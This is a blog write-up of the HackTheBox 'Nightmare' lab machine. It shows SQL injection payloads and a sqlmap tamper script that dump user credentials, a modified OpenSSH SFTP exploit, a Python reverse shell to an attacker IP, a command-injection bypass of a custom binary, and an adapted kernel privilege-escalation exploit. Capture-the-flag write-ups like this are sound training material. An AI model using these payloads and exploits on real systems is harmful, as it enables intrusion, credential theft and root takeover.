Power belongs to the people who take it

WriteUp – Nightmare

In this post we will resolve the machine Nightmare from HackTheBox
It’s is a very hard Linux machine.

First we will face a SQLi, then we will have to modify an C exploit to get shell. Once we have shell we will have to face a reversing and finally we will have to modify another C exploit.
My nick in HackTheBox is: manulqwerty
If you have any proposal or correction do not hesitate to leave a comment.
And I also want to thank the help for this machine to my HTB team L1k0rD3B3ll0t4

Write-Up

Enumeration

As always, the first thing will be a port scan with Nmap:

nmap -sC -sV 10.10.10.66

Let’s take a look at the web; We will search for hidden files/directories with Gobuster:

gobuster -u http://10.10.10.66 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -t 100 -l


After reviewing the results we see that we have a register and a login:

SQLi

As we see in the next GIF, if when we log in we include a quote , it returns “SQL ERROR”

Exploitation

To make the injection easier, we will use the BurpSuite Repeater:

As we see in the SQLi Cheat-Sheet, the first will be to guess the number of fields using order by:

iron')order+by+3#
iron')order+by+2#
iron')union+select+all+1,@@version#
iron')union+select+all+1,database()#
iron')union+select+all+1,table_schema+from+information_schema.tables#
iron')union+select+all+1,table_name+from+information_schema.tables+where+table_schema='sysadmin'#
iron')union+select+all+1,column_name+from+information_schema.columns+where+table_name='users'#
iron')+union+select+1,(select+group_concat(username,0x3a,password)+from+sysadmin.users)#


We get these credentials:

admin:nimda,
cisco:cisco123,
adminstrator:Pyuhs738?183*hjO!,
josh:tontochilegge,
system:manager,
root:HasdruBal78,
decoder:HackerNumberOne!,
ftpuser:@whereyougo?,
sys:change_on_install,
superuser:passw0rd,
user:odiolafeta

Another way to SQLi is using a SQLMAP tamper:

sqlmap -r register.req --dbms MySql --second-order "http://10.10.10.66/notes.php" --tamper TamperNightmare.py --batch -D sysadmin -T users --dump-all --no-cast
#By @3v4Si0N & @superfume (Team: L1k0rD3B3ll0t4)
import requests
from lib.core.enums import PRIORITY
from random import sample
__priority__ = PRIORITY.NORMAL
import base64
import json
import urllib

def dependencies():
    pass

def crear_user(payload):
    session0 = requests.Session()
    paramsPost0 = {"pass":"sapo","user":"injectHere","register":"Register"}
    headers0 = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":"http://10.10.10.66/register.php","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","DNT":"1","Content-Type":"application/x-www-form-urlencoded"}
    paramsPost0['user'] = payload
    response0 = session0.post("http://10.10.10.66/register.php", data=paramsPost0, headers=headers0, allow_redirects=False)
    return

def logout(payload):
    session1 = requests.Session()
    paramsGet1 = {"logout":""}
    headers1 = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":"http://10.10.10.66/notes.php","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","DNT":"1"}
    cookies1 = {"PHPSESSID":"iirf7pil9bnpp95ghaedthjjs2"}
    cookies1 = new_cookie(payload)
    response1 = session1.get("http://10.10.10.66/index.php", params=paramsGet1, headers=headers1, cookies=cookies1, allow_redirects=False)
    return

def new_cookie(payload):
    session = requests.Session()
    paramsPost = {"login":"Login","pass":"sapo","user":"sapo"}
    headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0","Referer":"http://10.10.10.66/index.php","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","DNT":"1","Content-Type":"application/x-www-form-urlencoded"}
    paramsPost['user'] = payload
    response = session.post("http://10.10.10.66/index.php", data=paramsPost, headers=headers, allow_redirects=False)
    return response.cookies.get_dict()

def tamper(payload, **kwargs):
    payload = str(payload)
    crear_user(payload)
    logout(payload)
    headers = kwargs.get("headers", {})
    cookie = pillar_cookie(payload)
    headers["Cookie"] = "PHPSESSID=" + str(cookie["PHPSESSID"])
    return payload    

Exploit SFTP

With ftpuser:@whereyougo? we can log in the SFTP:

In the nmap: SSH-2.0-OpenSSH 32bits (not so recent ver)
If we search for openssh sftp exploits, we get: https://github.com/0x90/openssh-sftp-sploit/blob/master/sshsploit.c
The problem of this exploit is that is a 64 bits exploit, we have to do some adjustments (change the types of the variables for example long long to unsigned int):
https://github.com/ironHackersDev/htb-stuff/blob/master/sshsploit32bits.c
Let’s verify that it works with ping as command

./sshsploit 10.10.10.66 2222 ftpuser "ping 10.10.14.6"


To get shell, we will use the reverse shell of Python (remember to escape the quotes):

./sshsploit 10.10.10.66 2222 ftpuser "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.6\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"

Post-Exploitation

Check the version of the kernel:

uname -a


It seems vulnerable to https://www.exploit-db.com/exploits/43418/
But we can’t write or execute anywhere. Let’s continue listing:

We look for files of the group Decoder, we found an .exe that seems to be a modified ls:
Let’s download it through the SFTP and open it with the IDA PRO:

As we see in the pseudo-C that IDA PRO generates, we must pass -b as parameter and we must bypass the if of lines 31 and 35 to run with system(s) the second parameter.

#include <stdio.h>
#include <string.h>

int main(int argc,char *argv[]){

int i,v3,v4,v6=0;
char s[]="/bin/ls";

for (i=1;i<argc;i++){
	if (*argv[i] != '-' || *(argv[i]+1) != 'b'){
		v3 = strlen(s);
		v4 = v3 + strlen (argv[i]) +2;
		strcat (s,argv[i]);
		}
	else
		v6 = 1;
	}
printf("s : %s\n",s);
char* haystack=s+7;

if (s[7]){
	if (strstr(haystack,"$(") || strchr(haystack,'\n') && !v6)
		printf("exit(1)\n");
	while (*haystack){
		if (strchr("|`&><'\"\\[]{};", *haystack))
			printf("exit(0)\n");
		++haystack;
	}
}

system(s);
return 0;
}

To run the second argument that we passed we must include a line break, or it will concatenate the commands:

Taking advantage of the bash -p option (we also put -i (interactive shell), although not necessary), the execution of /usr/bin/sls with the correct arguments will make us part of the decoder group:

/usr/bin/sls -b '
bash -ip'


Now we are part of the decoder group and we can write and execute files in /home/decoder/test.
We know that the version is xenial 4.8.0-58-generic so let’s modify and upload the exploit 43418.c : https://github.com/ironHackersDev/htb-stuff/blob/master/43418forNightmare.c

//Modify the struct and leave only our version
//[...]
struct kernel_info kernels[] = {
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
};
//[...]
// modify the function detect_versions()
void detect_versions() {
	char codename[DISTRO_CODENAME_LENGTH];
	char version[KERNEL_VERSION_LENGTH];

	get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
	get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);

	int i;
	for (i = 0; i < ARRAY_SIZE(kernels); i++) {
		if (strcmp(&codename[0], kernels[i].distro) == 0 &&
		    strcmp(&version[0], kernels[i].version) == 0) {
			printf("[.] kernel version '%s' detected\n", kernels[i].version);
			kernel = i;
			return;
		}
	}
	kernel = 0;
	return;
}
//[...]

Let’s compile it on out machine:

gcc 43418mod.c -o pwn
http-server -p 80

And we upload it using wget:

cd /home/decoder/test
wget http://10.10.14.6/pwn
chmod +x pwn

Al ejecutarlo desde el grupo decoder no funciona, pero al probar desde ftuser conseguimos ser root:
Running it from the decoder group it doesn’t work, but when we exeute it as ftuser we escalate to be root:

¿Me ayudas a compatirlo?

1 Comment

  1. download

    Everything is very open with a precise clarification of the issues.
    It was truly informative. Your site is extremely helpful.
    Many thanks for sharing!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.

© 2024 ironHackers

Theme by Anders NorenUp ↑